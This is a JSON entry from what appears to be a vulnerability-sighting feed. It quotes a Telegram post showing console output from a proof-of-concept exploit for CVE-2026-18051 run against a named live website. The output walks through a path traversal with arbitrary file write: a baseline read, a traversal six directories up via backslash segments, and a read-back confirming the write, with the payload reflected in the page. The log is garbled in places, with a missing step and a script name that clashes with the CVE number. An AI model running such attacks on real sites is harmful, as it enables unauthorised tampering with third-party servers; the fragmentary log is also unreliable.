{"uuid": "a9185c0f-2ffb-442a-8a2f-46b295efba80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-18051", "type": "seen", "source": "https://t.me/captainsmok3r_official/449", "content": "python poc-cve-2026-18501.py --host http://www.sp2go.info\n\n============================================================\n  ALIM EXPLOIT  CVE-2026-18051\n  Type: Path Traversal (arbitrary file write)  |  Target: www.sp2go.info:80\n============================================================\n\n[STEP 1] Baseline: reading /_index_slash.html before the write\n\n--- BEFORE (/_index_slash.html) ---\nHTTP 200\n\n\nimg.lazy{min-height:1px}\n        / so the traversal resolves)\n[STEP 3] Traversing 6 directories up out of the cache tree via backslash segments\n\n--- TRAVERSAL RESPONSE ---\nHTTP 200, 68551 bytes body\n---\n\n[STEP 4] Reading /_index_slash.html back to confirm the write landed\n\n--- AFTER (/_index_slash.html) ---\nHTTP 200\n\n\nimg.lazy{min-height:1px}\n        \n        \n\n        Suchergebnisse f\u00c3\u00bcr &#8222;2e523a8e921c03f8\\..\\..\\..\\..\\..\\..\\&#8220; &#8211; SP2GO\n\n", "creation_timestamp": "2026-08-20T20:00:03.565053Z"}